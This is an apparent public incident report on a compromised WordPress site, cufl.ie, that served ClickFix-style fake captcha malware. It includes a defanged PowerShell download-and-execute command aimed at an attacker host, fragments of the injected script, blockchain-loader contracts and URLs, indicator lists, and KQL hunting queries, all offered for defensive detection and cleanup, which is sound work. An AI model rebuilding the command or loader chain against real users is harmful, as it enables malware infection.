markcardiff.tech:/reports/cufl-ie-wordpress-clickfix-malware.html
root@markcardiff:~/reports$ ./render incident-report --public --clickfix --cufl-ie

cufl.ie WordPress ClickFix Malware Compromise

Public incident report on a compromised WordPress site used to deliver ClickFix-style fake verification malware. Includes sanitised command structure, observable IOCs, blockchain-loader details, and defensive hunting guidance.

Published 2026-09-04 UTC
Focus ClickFix malware
Platform WordPress CMS
Subject cufl.ie

Publication status: Published. Prepared by: Bob / Defensive Security Research Date: 2026-09-04 UTC Subject site: cufl.ie

Executive summary

During investigation of a user-driven malware execution incident, we confirmed that the public WordPress site cufl.ie was actively serving ClickFix-style fake verification malware.

The compromise presented visitors with a fake captcha/security-verification workflow and attempted to socially engineer Windows users into running a PowerShell command. The payload used clipboard manipulation, fake Cloudflare/security-verification theming, and browser-side JavaScript to guide the user through execution.

The most important technical finding is that the malicious JavaScript was not isolated to a single visible page element or a normal static JavaScript asset. It was appended globally into WordPress output, including REST API responses after otherwise valid JSON. This strongly indicates a server-side WordPress/PHP output-injection mechanism such as a compromised plugin, theme file, mu-plugin, injected database option, or PHP auto-prepend persistence.

Key takeaways

Scope and limitations

This report is based on external, light-touch triage of publicly accessible content from cufl.ie. No authenticated WordPress access, hosting-panel access, filesystem access, server logs, or database access was available during this review.

Because of that limitation:

Incident overview

The site was identified after a customer user visited cufl.ie and followed the fake ClickFix instructions. External review of the site showed malicious JavaScript injected into the public homepage and WordPress REST API output.

The injected payload impersonated a security/captcha verification workflow and instructed users to perform keyboard actions consistent with ClickFix tradecraft: open a Windows shell, paste a command, and execute it.

The embedded Windows command retrieved and executed remote content from attacker-controlled infrastructure using PowerShell.

Technical findings

1. Fake captcha / ClickFix payload

The main malicious JavaScript block included a fake verification flow and a Windows-specific command. The command was constructed to retrieve a remote script and execute it directly via PowerShell.

Observed command, deliberately sanitised so direct copy/paste execution fails:

powershellirm (('{0}{1}' -f 'hxxps[:]//','')+('inte'+'rnetserchinkas[.]co')+'/hex/lom/84aa3f59') -UserAgent 'WUA/22ab8f9767' -Headers @{('X'+'-WUA')='22ab8f9767'} | <EXECUTION_REMOVED>

The live payload used PowerShell download-and-execute behaviour. The version above preserves the command structure, domain, path, user-agent, and header markers for blue-team detection and sandbox reconstruction, but intentionally breaks the protocol, defangs the domain, and removes the execution sink.

This is typical of ClickFix-style intrusion chains: the web page does not rely on a browser exploit. Instead, it manipulates the user into executing an attacker-supplied command outside the browser security boundary.

Confirmed behaviours in the injected JavaScript included:

2. Global WordPress output injection

A key observation was that the WordPress REST API endpoint for the homepage returned valid JSON followed by appended malicious script blocks.

Endpoint reviewed:

texthttps://cufl.ie/wp-json/wp/v2/pages/3926

The JSON object parsed cleanly up to the end of the legitimate API response. Immediately after the JSON object, the malware began:

html<!-- BEGIN: X Smart Traffic Monitor -->
<script>
    window.XTracker_FCPJ = {
        loaded: true,
        version: "2.0.4",
        timestamp: new Date().getTime()
    };
</script>

This is significant because it suggests the malicious content was appended after WordPress generated the response, rather than simply being stored in the page body as normal content. That pattern is consistent with global output-buffer injection from PHP, malicious plugin/theme code, mu-plugin persistence, a compromised include file, or PHP auto-prepend behaviour.

3. Fake analytics/tracker wrappers

The injected payload was wrapped in multiple fake analytics/security labels. Observed injected block names included:

Observed fake tracker variables included:

These names appear designed to blend into legitimate analytics, advertising, or traffic-monitoring functionality.

4. Obfuscated blockchain-controlled JavaScript loaders

Several injected JavaScript blocks used obfuscation patterns including:

The decoded loaders queried smart contracts using the method selector:

textb68d1809

The contracts returned URL strings that were then used to construct runtime script URLs of the form:

text/api.php?s=<campaign-token>&_v=<time-window>

Contracts and resolved URLs observed during triage:

ContractResolved URL
0x0856780A9aC5169592B693B49E87805A64C1D446https://abcsgftr.cc
0x0C7Cb01C83203aC0a50Abc3a9AFF3c9Ca727eF55https://mon-blanc-02.cfd
0xbb9b2df9DCBd487212052DA0974d1A2E388322B0https://thu-ipad-03.cfd

Polygon RPC endpoints referenced by the loaders included:

This blockchain-backed configuration model gives the attacker mutable infrastructure resolution without needing to update the compromised WordPress site directly.

5. Attacker tracking infrastructure

The main ClickFix block referenced a tracking endpoint:

texthttps://securityalertcaptchacheck.com/lom/api?t=73889376a9e978787a218b956c19100693df4861&track=1

The same script used a campaign token:

text73889376a9e978787a218b956c19100693df4861

Additional loader tokens were observed:

WordPress exposure and likely contributing weaknesses

External fingerprinting identified the following exposed WordPress/core/plugin versions or asset versions:

ComponentObserved versionCurrent version observed during triageNotes
WordPress6.6.7Not assessed as root causeGenerator exposed
Elementor3.6.04.2.4Materially outdated
Elementor Pro2.8.5Not checked via WordPress.orgVery old paid plugin; high concern
SportsPress2.7.62.7.31Outdated
TablePress1.123.3.4Materially outdated
FooBox Image Lightbox2.7.162.8.5Outdated
Clever Mega Menu for Elementor1.1.2Not confirmedExposed readme

Public readme/changelog files were accessible for multiple plugins, which made version fingerprinting straightforward.

The presence of outdated plugins does not, by itself, prove the initial access vector. However, in WordPress compromises, stale plugins and themes are common initial access paths and should be prioritized during server-side root-cause review.

Likely attack path

Based on the available evidence, the most likely sequence is:

  1. The attacker gained write access to the WordPress application, filesystem, database, or hosting environment.
  2. They installed or modified a persistence point capable of appending JavaScript to front-end and REST responses.
  3. The injected code added multiple fake analytics/tracker wrappers to blend into normal site output.
  4. The site served a fake captcha/verification overlay to selected visitors.
  5. Windows visitors were instructed to execute a PowerShell command.
  6. The command retrieved and executed remote content from attacker-controlled infrastructure.

Confidence:

Impact

For cufl.ie:

For visitors:

Public-safe indicators

Domains:

textcufl.ie
securityalertcaptchacheck.com
internetserchinkas.co
abcsgftr.cc
mon-blanc-02.cfd
thu-ipad-03.cfd

URLs:

texthttps://securityalertcaptchacheck.com/lom/api?t=73889376a9e978787a218b956c19100693df4861&track=1
https://internetserchinkas.co/hex/lom/84aa3f59

Smart contracts:

text0x0856780A9aC5169592B693B49E87805A64C1D446
0x0C7Cb01C83203aC0a50Abc3a9AFF3c9Ca727eF55
0xbb9b2df9DCBd487212052DA0974d1A2E388322B0

JavaScript markers:

textXTracker_
X Smart Traffic Monitor
X Secure Pixel Stream
X Secure Link Keeper
X Secure Analytics Helper
XGlobal Link Keeper
X-Elite Pixel Stream
X Dynamic Data Flow
X Dynamic Ads Tracker
XAdvanced Traffic Monitor
X-Advanced Data Flow
captcha_executed_
cfmd
b68d1809

PowerShell markers:

textinternetserchinkas.co
/hex/lom/84aa3f59
WUA/22ab8f9767
X-WUA
irm
iex

Detection opportunities

Web proxy / DNS

Alert on users visiting cufl.ie followed by DNS or HTTP(S) activity to:

Also consider contextual detection for browsers contacting public Polygon RPC endpoints immediately after visiting a non-cryptocurrency website. Treat this as context-sensitive; those RPC services are legitimate and should not be globally blocked without business review.

Endpoint / EDR

High-signal behaviour:

Example Microsoft Defender Advanced Hunting pattern:

kqlDeviceProcessEvents
| where FileName in~ ("powershell.exe", "pwsh.exe", "cmd.exe")
| where ProcessCommandLine has_any ("internetserchinkas.co", "/hex/lom/84aa3f59", "WUA/22ab8f9767", "X-WUA")
   or (ProcessCommandLine has_any ("irm", "iwr", "Invoke-RestMethod", "Invoke-WebRequest") and ProcessCommandLine has "iex")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, AccountName

Example Sentinel hunting concept:

kqlDeviceProcessEvents
| where FileName in~ ("powershell.exe", "pwsh.exe", "cmd.exe")
| where ProcessCommandLine has_any ("internetserchinkas.co", "/hex/lom/84aa3f59", "WUA/22ab8f9767", "X-WUA")
   or (ProcessCommandLine has_any ("irm", "iwr", "Invoke-RestMethod", "Invoke-WebRequest") and ProcessCommandLine has "iex")

For environments using proxy telemetry, correlate:

  1. User browses to cufl.ie.
  2. Same user or device resolves/contacts securityalertcaptchacheck.com or internetserchinkas.co.
  3. Same device executes PowerShell within a short time window.

SIEM correlation logic

A practical correlation window is 0-30 minutes:

This chain is much higher confidence than any single indicator alone.

MITRE ATT&CK mapping

TechniqueDescription
T1189 - Drive-by CompromiseUser visited a compromised public website.
T1204.001 - User Execution: Malicious LinkUser interaction with a malicious web-delivered prompt.
T1204.002 - User Execution: Malicious File / CommandUser executed attacker-supplied command content.
T1059.001 - Command and Scripting Interpreter: PowerShellPayload used PowerShell command execution.
T1105 - Ingress Tool TransferPowerShell retrieved remote content.
T1027 - Obfuscated Files or InformationJavaScript used base64/XOR/dynamic execution obfuscation.
T1115 - Clipboard DataPayload used clipboard write behaviour to stage command content.
T1071.001 - Application Layer Protocol: Web ProtocolsPayload and tracking used HTTP(S).

Remediation guidance for the site owner

Recommended immediate actions:

  1. Place the site into maintenance mode or restrict public access while cleaning.
  2. Preserve forensic copies of the webroot, database, access logs, error logs, and hosting-panel/SFTP/FTP logs before making destructive changes.
  3. Search the filesystem and database for the indicators listed in this report.
  4. Inspect high-probability persistence points:

- wp-content/mu-plugins/ - wp-config.php - index.php - wp-blog-header.php - wp-load.php - wp-settings.php - active theme functions.php, header.php, and footer.php - .user.ini, php.ini, .htaccess, and auto_prepend_file - WordPress options containing custom scripts, snippets, headers, footers, analytics, or ads code

  1. Reinstall WordPress core from a clean source.
  2. Reinstall all plugins and themes from trusted vendor packages rather than editing over potentially compromised files.
  3. Remove unused, abandoned, or unsupported plugins/themes.
  4. Update WordPress core, themes, and all plugins, especially Elementor/Elementor Pro and other exposed stale plugins.
  5. Rotate WordPress admin, hosting-panel, SFTP/FTP/SSH, and database credentials.
  6. Force logout of all WordPress sessions.
  7. Review WordPress admin users and remove any unauthorized accounts.
  8. Review logs around the observed page modification time and before it for plugin upload/install events, file edits, suspicious admin logins, SFTP/FTP writes, and hosting-panel activity.

Verification guidance

After remediation, verify that public output no longer contains malicious markers:

bashcurl -skL https://cufl.ie/ \
  | grep -Ei 'XTracker_|securityalertcaptchacheck|internetserchinkas|b68d1809|captcha_executed_|cfmd|0x[0-9a-f]{40}'

Expected result: no matches.

Verify REST API responses are valid JSON and do not have appended script blocks:

bashcurl -skL https://cufl.ie/wp-json/wp/v2/pages/3926 | python3 -m json.tool >/dev/null && echo clean-json

Expected result:

textclean-json

Defensive lessons

This incident highlights several recurring WordPress compromise themes:

Conclusion

cufl.ie was actively compromised and used as a delivery point for ClickFix-style malware. The payload combined fake verification UI, clipboard manipulation, PowerShell execution instructions, obfuscated JavaScript, and blockchain-resolved staging infrastructure.

The strongest public evidence points to a global WordPress/PHP output-injection mechanism rather than a single compromised page body. Full root-cause determination requires server-side review of files, database options, plugins, themes, mu-plugins, PHP auto-prepend configuration, and write-path logs.

Organizations should treat user visits to the site during the compromise window as potentially significant, especially where endpoint telemetry shows PowerShell execution shortly after browsing activity.

Public defensive report. Command sample deliberately sanitised so direct copy/paste execution fails; indicators are included for blue-team hunting and controlled sandbox analysis.